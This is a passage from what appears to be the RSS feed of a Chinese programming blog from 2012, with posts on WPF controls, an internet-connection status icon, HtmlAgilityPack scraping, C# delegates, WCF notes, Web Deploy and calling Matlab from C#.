      <description>&lt;p&gt;　　那天看到WPF书上讲的毛玻璃效果，就去找了下效果。。忘了例子是从哪发现得了。。先看下效果，&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27420_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/638a69761205e3d5c16a5bd34a2f775de190d137.jpg&#34; title=&#34;glass&#34;&gt;&lt;/a&gt;
　　但是这不是重点，作者给出的代码有一个设计时错误。。错误提示为：
无法将类型为“Microsoft.Expression.Platform.WPF.InstanceBuilders.WindowInstance”的对象强制转换为类型“System.Windows.Window”，，&lt;/p&gt;
&lt;p&gt;　　中文搜了一下。没有发现有人解决过。目测。。。然后又拿英文搜了下。几经辗转。。终于是解决了。。原文在&lt;a href=&#34;http://social.msdn.microsoft.com/Forums/is/wpf/thread/931e75a8-cab6-492d-89cd-b7ca291fa273&#34;&gt;Unable to cast XAML error&lt;/a&gt;。其实就是将原作者这个函数修改如下的&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public static void OnIsEnabledChanged(DependencyObject obj, DependencyPropertyChangedEventArgs args)
        {

            if ((bool)args.NewValue == true)
            {
                Window wnd = obj as Window;
                if (wnd != null) wnd.Loaded += new RoutedEventHandler(wnd_Loaded);
            }
        }&lt;/pre&gt; 
&lt;p&gt;　　也就是验证了一下转换是否成功。&lt;/p&gt;
&lt;p&gt;下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=61615&amp;amp;uk=1493685990&#34;&gt;修改后的RGSamples&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>.net显示网络连接状态图标</title>
      <link>http://blog.leaver.me/2012/09/24/.net%E6%98%BE%E7%A4%BA%E7%BD%91%E7%BB%9C%E8%BF%9E%E6%8E%A5%E7%8A%B6%E6%80%81%E5%9B%BE%E6%A0%87/</link>
      <pubDate>Mon, 24 Sep 2012 08:04:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/.net%E6%98%BE%E7%A4%BA%E7%BD%91%E7%BB%9C%E8%BF%9E%E6%8E%A5%E7%8A%B6%E6%80%81%E5%9B%BE%E6%A0%87/</guid>
      <description>&lt;p&gt;效果图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27419_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34; title=&#34;internet connection&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;　　越来越多的软件要通过连接互联网来执行一些业务层的业务操作，比如调用web services服务，获取数据等等。
通常你可能希望知道当前你的网络连接是不是真的连上了，当然有很多种方法可以做到，比如，你可以查看System.Net 命名空间中的NetworkInterface 的状态，但是有这以太网连接并不表示你的连接真的可以用。 本文将会展示一种方法，该方法在程序的状态栏StatusStrip 显示一个简单的图标来指示是不是真的连接到了互联网。&lt;/p&gt;
&lt;h3 id=&#34;使用代码&#34;&gt;使用代码&lt;/h3&gt;
&lt;p&gt;　　最简单的我们会想到使用一个Timer来进行http-get请求来判断一个特定的网页是否可用。&lt;/p&gt;
&lt;p&gt;　　当然这种方法下，我们最应该考虑的就是请求不能阻塞UI线程，因此，我将使用一个BackgroundWorker 对象来进行get请求，BackgroundWorker 对象声明了DoWork方法。该方法定义了一个事件句柄，该句柄传递一个DoWorkEventArgs 类来将事件的处理结果返回到UI线程，因此，你不必与任何的UI元素进行交互，因为它运行在一个独立的线程里。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;private void InitializeComponent()
{
    // Background Worker
    this._worker = new BackgroundWorker();
    this._worker.WorkerReportsProgress = false;
    this._worker.WorkerSupportsCancellation = false;
    this._worker.DoWork += new 
       DoWorkEventHandler(this.BackgroundWorker_DoWork);
    this._worker.RunWorkerCompleted += new 
       RunWorkerCompletedEventHandler(this.BackgroundWorker_RunWorkerCompleted);

    // Timer
    this._updateTimer = new Timer();
    this._updateTimer.Enabled = !this.DesignMode;
    // Enabled when not in design mode

    this._updateTimer.Tick += delegate { this.OnTick(); };
}

private void OnTick()
{
    if (this.DesignMode)
        return;

    // Stop the timer while the process is running
    this._updateTimer.Enabled = false;

    // Disable so we get the grayed-out look
    this.Enabled = false;
    this.Invalidate();

    // Execute the Ping Query on a separate thread...
    this._worker.RunWorkerAsync();
}&lt;/pre&gt; 
&lt;p&gt;　　这个查询很简单，我执行简单的HttpWebRequest 来请求一个必然是可用的网页。比如微软的主页或是Google的主页。通过这样，我们就能知道是不是真的连接上了互联网。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;private void BackgroundWorker_DoWork(object sender, DoWorkEventArgs e)
{
    try
    {
        // Create an HTTP Web request
        // to an Uri that&#39;s always available.
        HttpWebRequest request = (HttpWebRequest) 
           HttpWebRequest.Create(this._alwaysAvailableUrl);

        // Perform GET
        HttpWebResponse response = 
           (HttpWebResponse) request.GetResponse();
        if (HttpStatusCode.OK == response.StatusCode)
        {
            // HTTP = 200, close the request and return true
            response.Close();
            e.Result = true;
        }
        else
        {
            // Other status; return false
            e.Result = false;
        }
    }
    catch (WebException)
    {
        // Deffinitely offline
        e.Result = false;
    }
}&lt;/pre&gt; 
&lt;p&gt;　　当BackgroundWorker 对象完成了他的工作，，也就是定义DoWork 里的事件，他会触发RunWorkerCompleted 事件，这个事件也定义了一个定制的事件句柄- RunWorkerCompletedEventArgs 有了这个类，我们就可以管理ToolStripStatusLabel的显示了&lt;/p&gt;</description>
    </item>
    <item>
      <title>一个可定制的WPF任务对话框</title>
      <link>http://blog.leaver.me/2012/09/24/%E4%B8%80%E4%B8%AA%E5%8F%AF%E5%AE%9A%E5%88%B6%E7%9A%84wpf%E4%BB%BB%E5%8A%A1%E5%AF%B9%E8%AF%9D%E6%A1%86/</link>
      <pubDate>Mon, 24 Sep 2012 08:03:17 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/24/%E4%B8%80%E4%B8%AA%E5%8F%AF%E5%AE%9A%E5%88%B6%E7%9A%84wpf%E4%BB%BB%E5%8A%A1%E5%AF%B9%E8%AF%9D%E6%A1%86/</guid>
      <description>&lt;p&gt;今天实在看WPF揭秘的时候看到TaskDialog这个控件的。然后就去找了一下开源的代码。在codeproject上发现了这个，非常给力。。另外codeproject改版后很漂亮哦。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27400_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ea5f46934b5478701eb79bb9b9b08381704b7996.jpg&#34; title=&#34;one&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;介绍&#34;&gt;介绍：&lt;/h3&gt;
&lt;p&gt;这是用WPF实现Vista上TaskDialog效果的代码。&lt;/p&gt;
&lt;h3 id=&#34;messagbox消息框&#34;&gt;Messagbox消息框&lt;/h3&gt;
&lt;p&gt;通过调用重写的静态Show方法。TaskDialog就会表现的像一个Messagebox。他有四个文本类型的属性：Header（头部）, Content（内容）, Detail（更多）, 和 Footer（底部），其实Detail是一个折叠的区域， 而Header和Footer还有一个icon属性（HeaderIcon和FooterIcon），除此之外，Header还有Background（背景）和Foreground（前景）属性&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;// TaskDialog.Show方法签名
public static TaskDialogResult Show(
    string title, 
    string header, 
    string content, 
    string detail, 
    string footer, 
    TaskDialogButton button, 
    TaskDialogResult defaultResult, 
    TaskDialogIcon headerIcon, 
    TaskDialogIcon footerIcon, 
    Brush headerBackground, 
    Brush headerForeground)

// TaskDialog.Show 方法的一个例子
TaskDialog.Show(&#34;Task Dialog 测试&#34;,
     &#34;消息框的标题文字&#34;,
     &#34;消息框的内容部分. &#34; +
     &#34; 可以自适应内容.&#34;,
     &#34;消息框的细节部分 &#34; +
     &#34;可以自适应内容&#34;,
     &#34;消息框的底部.&#34;,
     TaskDialogButton.Ok,
     TaskDialogResult.None,
     TaskDialogIcon.Information,
     TaskDialogIcon.Shield,
     Brushes.White,
     Brushes.Navy);&lt;/pre&gt; 
&lt;h3 id=&#34;定制taskdialog&#34;&gt;定制TaskDialog&lt;/h3&gt;
&lt;p&gt;使用静态的Show方法。Header, Content, Detail, 和Footer 就限制了只能传递字符串作为值了。
为了定义这个对话框，你先创建TaskDialog类的一个对象，然后分别设置一下各个属性，最后调用Show方法就可以了&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;// TaskDialog 实例化例子
TaskDialog dialog = new TaskDialog();
dialog.title: = &#34;TaskDialog example&#34;;
dialog.HeaderIcon = TaskDialogIcon.Warning;
dialog.SystemSound = TaskDialogSound.Exclamation;
// header 属性设置
dialog.Header = &#34;This is the Header.&#34;;
dialog.HeaderBackground = Brushes.DarkGray;
dialog.HeaderForeground = Brushes.White;
// Content, Detail 和 Footer属性设置
dialog.Content = &#34;This is the content&#34;;
dialog.Detail = &#34;This is the detail&#34;;
dialog.Footer = &#34;this is the Footer&#34;;
dialog.Show();&lt;/pre&gt; 
&lt;p&gt;TaskDialog控件派生自HeaderedContentControl类，因为从HeaderedContentControl类可以获得Header和Content属性，TaskDialog仅仅是添加了Detail和Footer属性，这些属性是Object类型，并且有他们自己的template（模板）属性HeaderTemplate, ContentTemplate, DetailTemplate, 和 FooterTemplate)，TaskDialog类对于文本内容有着缺省的数据模板，当然你也可以用那四个模板来替换，这样你就可以以你喜欢的任何方式来格式化文本了。下面这个图展示了通过斜体和下划线来格式化文本。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27401_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/05a7c6d00f37749a2b770d0b1f1ebaab51528de0.jpg&#34; title=&#34;two&#34;&gt;&lt;/a&gt;
图2&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;//为上面这个图的content属性的 DataTemplate 模板 
&amp;lt;DataTemplate x:Key=&#34;_customContentDataTemplate&#34;&amp;gt;
   &amp;lt;TextBlock Text=&#34;{Binding Content, 
        RelativeSource={RelativeSource FindAncestor, 
                        AncestorType={x:Type Controls:TaskDialog}}}&#34; 
        FontStyle=&#34;Italic&#34; 
        TextDecorations=&#34;Underline&#34; 
        TextWrapping=&#34;Wrap&#34;/&amp;gt;
&amp;lt;/DataTemplate&amp;gt;&lt;/pre&gt; 
&lt;p&gt;因为Header，Content，Detail和Footer是object类型，因此不再受到只能是文本的限制了，你可以防止你喜欢的任何类型到TaskDialog，下面这个例子中的TaskDialog是不是很像UAC的提示呢。这里Content属性是一个UserControl类型，放置了一个图片和一些文本还有两个CommandButtons（都是普通的按钮。。不过添加了一些定制的样式，再加了Header属性）&lt;/p&gt;</description>
    </item>
    <item>
      <title>Html解析工具-HtmlAgilityPack</title>
      <link>http://blog.leaver.me/2012/09/22/html%E8%A7%A3%E6%9E%90%E5%B7%A5%E5%85%B7-htmlagilitypack/</link>
      <pubDate>Sat, 22 Sep 2012 08:00:14 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/22/html%E8%A7%A3%E6%9E%90%E5%B7%A5%E5%85%B7-htmlagilitypack/</guid>
      <description>&lt;p&gt;这个工具是在暑假的时候发现的。但是最后没用这个工具。不过，这个工具可是非常强悍的。。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://htmlagilitypack.codeplex.com&#34;&gt;HtmlAgilityPack&lt;/a&gt;主要就是解析DOM的。常用的基础类其实不多，对解析DOM来说，就只有HtmlDocument和HtmlNode这两个常用的类，还有一个 HtmlNodeCollection集合类。我给出一个抓取我博客首页文章的例子。看代码可能更清楚一点。你可以去看看压缩包里提供的文档。&lt;/p&gt;
&lt;p&gt;xpath如果自己写表达式比较麻烦。所以我还找到了这个HtmlAgilityPack提供了的一个xpath辅助工具-HAPExplorer。都给出了地址。&lt;/p&gt;
&lt;p&gt;首先看我的例子，抓取我博客的首页文章：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.Diagnostics;
using System.Threading.Tasks;
using System.IO;
using System.Data;
using System.Data.SqlClient;
using HtmlAgilityPack;
namespace leaver
{
    class Program
    {

        static void Main(string[] args)
        {
            HtmlWeb web = new HtmlWeb();
            HtmlDocument doc = web.Load(&#34;http://leaver.me/&#34;);

            HtmlNode node = doc.GetElementbyId(&#34;content&#34;);
            StreamWriter sw = File.CreateText(&#34;leaver.txt&#34;);
            //从根节点选中class=hfeed的节点
            string cfeed = node.SelectSingleNode(&#34;/html[1]/body[1]/div[1]/div[1]/div[2]/div[1]/div[1]&#34;).OuterHtml;

            HtmlNode hfeed = HtmlNode.CreateNode(cfeed);
            foreach (HtmlNode child in hfeed.ChildNodes)
            {
                if (child.Attributes[&#34;id&#34;] == null || child.Attributes[&#34;id&#34;].Value.Substring(0, 2) != &#34;po&#34;)
                    continue;
                HtmlNode hn = HtmlNode.CreateNode(child.OuterHtml);

                Write(sw, String.Format(&#34;标题：{0}&#34;, hn.SelectSingleNode(&#34;//*[@class=\&#34;entry-title\&#34;]&#34;).InnerText));
                Write(sw, String.Format(&#34;日期：{0}&#34;, hn.SelectSingleNode(&#34;//*[@class=\&#34;byline\&#34;]&#34;).InnerText));
                Write(sw, String.Format(&#34;摘要：{0}&#34;, hn.SelectSingleNode(&#34;//*[@class=\&#34;entry-summary\&#34;]&#34;).InnerText));
                Write(sw, &#34;----------------------------------------&#34;);

            }
            sw.Close();
            Console.ReadLine();
        }

        static void Write(StreamWriter writer, string str)
        {
            Console.WriteLine(str);
            writer.WriteLine(str);
        }
    }
}&lt;/pre&gt; 
&lt;p&gt;程序运行结果：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27392_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d2623dbdf85b9caabedb4336e53e1fd67cfc07d6.jpg&#34; title=&#34;result&#34;&gt;&lt;/a&gt;
xpath表达式的具体书写都是需要分析你需要解析的网站源码的。。。。
xpath辅助工具的界面：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27391_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2387485c54eef302fae5ddba1382b6a2092c4b67.jpg&#34; title=&#34;xpath&#34;&gt;&lt;/a&gt;
下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=61130&amp;amp;uk=1493685990&#34;&gt;HtmlAgilityPack&lt;/a&gt;
下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=61131&amp;amp;uk=1493685990&#34;&gt;HAPExplorer&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C# 委托知识总结</title>
      <link>http://blog.leaver.me/2012/09/16/c%23-%E5%A7%94%E6%89%98%E7%9F%A5%E8%AF%86%E6%80%BB%E7%BB%93/</link>
      <pubDate>Sun, 16 Sep 2012 10:52:01 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/16/c%23-%E5%A7%94%E6%89%98%E7%9F%A5%E8%AF%86%E6%80%BB%E7%BB%93/</guid>
      <description>&lt;p&gt;如果你足够强大，你就不会把幸福押在别人身上，你会自己创造幸福或者给别人带来幸福。而变得强大的途径就是学习，就是读书，学一切东西，读任何想读的书。  爱你让我变得更强。。
继续读一些专业文章了。不保证都是原创，但是保证每篇技术文章的质量。也会注明来源，标准就是浅显易懂。但不简单。&lt;/p&gt;
&lt;p&gt;原文来自：&lt;a href=&#34;http://www.cnblogs.com/qingyuan/archive/2010/05/11/1732415.html&#34;&gt;贺臣&lt;/a&gt;感谢原作者的好文章。
1.什么是委托，为什么要使用委托&lt;/p&gt;
&lt;p&gt;我正在埋头苦写程序，突然想喝水，但是又不想自己去掉杯水而打断自己的思路，于是我就想让女朋友去给我倒水。她去给我倒水，首先我得让她知道我想让她干什么，通知她之后我可以继续写自己的程序，而倒水的工作就交给了她。这样的过程就相当于一个委托。&lt;/p&gt;
&lt;p&gt;在程序过程中，当程序正在处理某个事件的时候，我需要另外的程序代码去辅助处理一些事情，于是委托另一个程序模块去处理，而委托就可以达到这种目的，我可以利用委托通知另外的程序模块，该去调用哪个函数方法。委托其实就起到了这样一个作用，将函数签名传递到了另一个函数中。或许这样讲还是有些模糊，看看后面的具体实例。&lt;/p&gt;
&lt;p&gt;2.委托的定义&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
delegate int Add(int num1,int num2);

delegate void ConvertNum(string result);
&lt;/pre&gt;
&lt;p&gt;上面是定义两个委托的例子，其实很简单。声明一个委托使用delegate关键字，上面分别是定义的带返回值的委托和不带返回值的委托，&lt;/p&gt;
&lt;p&gt;两个委托都有传递参数，当然也可以不传递参数。其实委托也是一个类，委托派生为System.MulticastDelegate,而System.MulticastDelegate&lt;/p&gt;
&lt;p&gt;又继承System.Delegate,如果你知道这个也就明白委托其实是一个特殊的类。
委托的简单实用例子&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
public delegate string TeaDelegate(string spText);

     public class DelegateSource
     {
         public void TestDelegate()
         {
             Operator op = new Operator();
             TeaDelegate tea = new TeaDelegate(op.GetTea);
             Console.WriteLine(&#34;去给我倒杯水&#34;);
             Console.WriteLine();
             string result=tea(&#34;去给我倒杯水&#34;);
             Thread.Sleep(5000);
             Console.WriteLine(result);
             Console.WriteLine();
         }
     }

     public class Operator
     {
         /// &lt;summary&gt;
         /// 确定是否还有水
         /// &lt;/summary&gt;
         private bool flag = true;

         public string GetTea(string spText)
         {
             if (spText == &#34;去给我倒杯水&#34;)
             {
                 if (flag)
                 {
                     return &#34;老公,茶来了&#34;;
                 }
                 else
                 {
                     return &#34;老公,没有水了&#34;;
                 }
             }
             return &#34;等待.......&#34;;
         }
     }&lt;/pre&gt;
&lt;p&gt;输出结果
&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/p&gt;
&lt;p&gt;上面使用最普通的一种方式来定义了一个委托的使用，这个例子虽然很简单，但是能够很形象的描述委托的使用。&lt;/p&gt;
&lt;p&gt;3.委托的三种形式&lt;/p&gt;
&lt;p&gt;(1).推断
推断委托例子&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
public delegate string TeaDelegate(string spText);

     public class DelegateSource
     {
         public void TestDelegate()
         {
             Operator op = new Operator();
             TeaDelegate tea = op.GetTea;
             Console.WriteLine(&#34;去给我倒杯水&#34;);
             Console.WriteLine();
             string result=tea(&#34;去给我倒杯水&#34;);
             Thread.Sleep(5000);
             Console.WriteLine(result);
             Console.WriteLine();
         }
     }

     public class Operator
     {
         /// &lt;summary&gt;
         /// 确定是否还有水
         /// &lt;/summary&gt;
         private bool flag = true;

         public string GetTea(string spText)
         {
             if (spText == &#34;去给我倒杯水&#34;)
             {
                 if (flag)
                 {
                     return &#34;老公,茶来了&#34;;
                 }
                 else
                 {
                     return &#34;老公,没有水了&#34;;
                 }
             }
             return &#34;等待.......&#34;;
         }
     }
&lt;/pre&gt;
&lt;p&gt;在委托定义的例子中我们看到委托的使用方法是在委托实例化的时候指定的[new DelegateName(FunctionName)],这里可能表述不是太但是代码应该看得白了。 而委托的推断，并没有new 委托这个步骤，而是直接将Function 指定给委托。&lt;/p&gt;</description>
    </item>
    <item>
      <title>通过Windows应用进行服务寄宿示例代码</title>
      <link>http://blog.leaver.me/2012/09/09/%E9%80%9A%E8%BF%87windows%E5%BA%94%E7%94%A8%E8%BF%9B%E8%A1%8C%E6%9C%8D%E5%8A%A1%E5%AF%84%E5%AE%BF%E7%A4%BA%E4%BE%8B%E4%BB%A3%E7%A0%81/</link>
      <pubDate>Sun, 09 Sep 2012 19:28:44 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/09/%E9%80%9A%E8%BF%87windows%E5%BA%94%E7%94%A8%E8%BF%9B%E8%A1%8C%E6%9C%8D%E5%8A%A1%E5%AF%84%E5%AE%BF%E7%A4%BA%E4%BE%8B%E4%BB%A3%E7%A0%81/</guid>
      <description>&lt;p&gt;此程序部分源码来自《WCF技术剖析》。。但是。这本书上讲的非常不清楚。有些很小的地方没讲。。导致出现很多问题。。。比如ListView需要先添加列。默认的config需要删除。等等。。&lt;/p&gt;
&lt;p&gt;最终是成功了。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/26808_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7390df89e6e155098b41900c68b850b956f79a4d.jpg&#34; title=&#34;wCf&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;源码下载：&lt;a href=&#34;http://dl.vmall.com/c0d8askuak&#34;&gt;Lazy.FormDemo&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>WCF双工通信示例</title>
      <link>http://blog.leaver.me/2012/09/07/wcf%E5%8F%8C%E5%B7%A5%E9%80%9A%E4%BF%A1%E7%A4%BA%E4%BE%8B/</link>
      <pubDate>Fri, 07 Sep 2012 22:22:30 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/07/wcf%E5%8F%8C%E5%B7%A5%E9%80%9A%E4%BF%A1%E7%A4%BA%E4%BE%8B/</guid>
      <description>&lt;p&gt;　　这两天在看WCF的书籍。就参考书上的代码写了这个例子。不得不说。书上有些错误的地方。。运行明显报错。改了一下。顺利通过。&lt;/p&gt;
&lt;p&gt;　　先运行Hosting。然后运行Client。可以看到效果。不过不知道为什么会有如下的一个提示：&lt;/p&gt;
&lt;p&gt;　　目标程序集不包含服务类型。可能需要调整此程序集的代码访问安全策略。&lt;/p&gt;
&lt;p&gt;　　点击确定后并不影响程序运行。。但是也是个问题。。找了一下解决方法。都没有解决。。可能是我新建契约服务的时候，删掉了默认的IService配置。&lt;/p&gt;
&lt;p&gt;//update:此问题解决了。是因为默认的app.config太多。对于典型的四层结构。需要删除契约和服务中的app.config。。&lt;/p&gt;
&lt;p&gt;　　暂时先放着吧。&lt;/p&gt;
&lt;p&gt;　　运行截图：&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/26775_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/35cc6b919f9d513bf612503ffcac5b3448f20f37.jpg&#34; title=&#34;wcfExample&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　示例代码下载：&lt;a href=&#34;http://dl.vmall.com/c0c44hq61p&#34;&gt;Lazy.Duplex&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>WCF读书笔记(2)</title>
      <link>http://blog.leaver.me/2012/09/06/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B02/</link>
      <pubDate>Thu, 06 Sep 2012 22:09:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/06/wcf%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B02/</guid>
      <description>&lt;p&gt;&lt;strong&gt;信道形状（Channel Shape）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　用来表述不同的消息交换模式对消息交换双方信道（信息交换的管道）的不同要求，有什么IOutputChannel IReplyChannel IDuplexChannel之类的。。&lt;/p&gt;
&lt;p&gt;　　对于IReplyChannel，服务器返回一个RequestContext类型，作为请求和回复之间的一道桥梁，可以获取也可以返回消息。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;会话信道（Session Channel）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　从状态保持的角度，信道可以分为两种类型，Datagram Channel和Session Channel，前者不和客户端绑定，后者可以识别客户端。&lt;/p&gt;
&lt;p&gt;　　对于WCF的信道层来说，信道管理器在客户端和服务端扮演不同的角色。服务端的信道管理器用于监听来自客户端的请求，而客户端的信道仅仅是单纯创建用于请求发送和回复接收的信道，因此服务端的消息管理器又称为信道监听器（Channel Listener），客户端的信道管理器则称之为信道工厂（Channel Factory）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;绑定元素（Binding Element）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　构成一个绑定对象的元素，绑定实现了通信的所有细节，通过创建信道栈实现对消息的交换，系统绑定是指服务于某种类型场景的绑定元素的有序集合。 包括什么BaseHttpBinding之类的。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;一个程序集&lt;/strong&gt;包括元数据，中间语言代码，和资源。程序集已经加载，将一直保存在内存中，直到应用程序域卸载。最好摒弃添加服务引用的服务调用方式，而是直接将包含服务契约的程序集部署到客户端。客户端以直接创建代理的方式进行调用。&lt;/p&gt;
&lt;p&gt;　　WCF可以看成是适配器，是CLR类型和XML两个不同世界的纽带。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;依赖倒置原则&lt;/strong&gt;：即抽象不应该依赖细节，细节应该依赖于抽象；即要针对接口编程，不要对实现编程。高层模块不应该依赖低层模块。两个都应该依赖抽象。&lt;/p&gt;
&lt;p&gt;　　契约关心的是我能做到。而不在于我如何做到。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;封送（Marshaling）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　解决跨应用程序域对象访问的问题，需要采用一种特别的机制，那就是封送。分为按值封送和按引用封送&lt;/p&gt;
&lt;p&gt;　　按值封送实现了跨应用程序域的数据共享&lt;/p&gt;
&lt;p&gt;　　按引用封送则实现了跨应用程序域的远程调用。&lt;/p&gt;
&lt;p&gt;　　如果一个程序员频繁的使用复制粘贴编程。那就意味着设计需要重构&lt;/p&gt;</description>
    </item>
    <item>
      <title>使用Microsoft Web Deploy技术自动部署</title>
      <link>http://blog.leaver.me/2012/09/04/%E4%BD%BF%E7%94%A8microsoft-web-deploy%E6%8A%80%E6%9C%AF%E8%87%AA%E5%8A%A8%E9%83%A8%E7%BD%B2/</link>
      <pubDate>Tue, 04 Sep 2012 14:03:18 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/04/%E4%BD%BF%E7%94%A8microsoft-web-deploy%E6%8A%80%E6%9C%AF%E8%87%AA%E5%8A%A8%E9%83%A8%E7%BD%B2/</guid>
      <description>&lt;p&gt;　　在前段时间使用WCF的时候。部署到服务器上一直不得要领。出现各种问题。最终搞定。原文图很多，我给个摘要，大家还是原文看。因为原文写于2010年。自动部署工具已经更新至第3版。所以有些按钮得好好找找。不过相信对大家都不是难事。&lt;/p&gt;
&lt;p&gt;　　本篇文章将提供一个循序渐进的教程，教你如何在一台Web服务期上安装和启用Web Deploy。接着我们演示如何使用Visual Studio通过Web Deploy直接（将文件）发布到服务器上，以及如何使用Visual Studio创建自动部署你的应用程序的安装包。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;Web Deploy—为什么你会喜欢它&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　部署一个Web应用程序或站点包含好几个步骤。您通常需要：&lt;/p&gt;
&lt;p&gt;　　1. 拷贝文件和文件夹；&lt;/p&gt;
&lt;p&gt;　　2. 提供数据库结构，或许还要生成一些数据库数据；&lt;/p&gt;
&lt;p&gt;　　3. 在文件和文件夹上设置相应的读写和安全访问控制列表；&lt;/p&gt;
&lt;p&gt;　　4. 安装和配置SSL认证；&lt;/p&gt;
&lt;p&gt;　　5. 部署其它杂七杂八的依赖项（事件日志，GAC库，COM对象等等）。&lt;/p&gt;
&lt;p&gt;　　手工执行上面的步骤又累又慢又危险（因为手工部署总是容易出错）。使用自动化流程，可以让你在一台服务器上快速维护和部署应用程序，减少出错的几率，并极大加快你在应用程序上的改动放到作业服务器上的周期。&lt;/p&gt;
&lt;p&gt;　　去原文看看吧。&lt;a href=&#34;http://blog.joycode.com/scottgu/archives/2010/11/03/116148.joy&#34;&gt;使用Microsoft Web Deploy技术自动部署&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#调用Matlab引擎</title>
      <link>http://blog.leaver.me/2012/08/09/c%23%E8%B0%83%E7%94%A8matlab%E5%BC%95%E6%93%8E/</link>
      <pubDate>Thu, 09 Aug 2012 22:39:57 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/08/09/c%23%E8%B0%83%E7%94%A8matlab%E5%BC%95%E6%93%8E/</guid>
      <description>&lt;p&gt;　　最近在使用matlab的时候。求多元函数取得最小值的时候。变量的值。于是就用到了sym符号。结果在C#中调用时总是出错。后来Google了N久发现是符号工具箱是无法编译的。。后来找到了替代方法。就是调用matlab 引擎。当然要稍微麻烦一点。因为调用引擎这种方法参数传递比较麻烦。我只想到了通过C#把需要计算的值保存到文本中。然后matlab中load进来。计算完成后 save出去。。&lt;/p&gt;
&lt;p&gt;　　调用matlab引擎类似于在C#中新开了一个进程。然后执行一些命令。之前需要引用Matlab Application Type Library。这是个com组件&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/25657_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b938768405ede59db17f36bdc27e700bf3cbf1dc.jpg&#34; title=&#34;type&#34;&gt;&lt;/a&gt;
然后在程序里使用 using语句&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using MLApp;&lt;/pre&gt; 
&lt;p&gt;然后就可以正常使用了。使用我试过的有两种方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;MLApp.MLAppClass matlab = new MLApp.MLAppClass();  
matlab.Visible = 1;  
string command=&#34;figure(1)&#34;;
matlab.Execute(command);  
matlab.Quit();&lt;/pre&gt; 
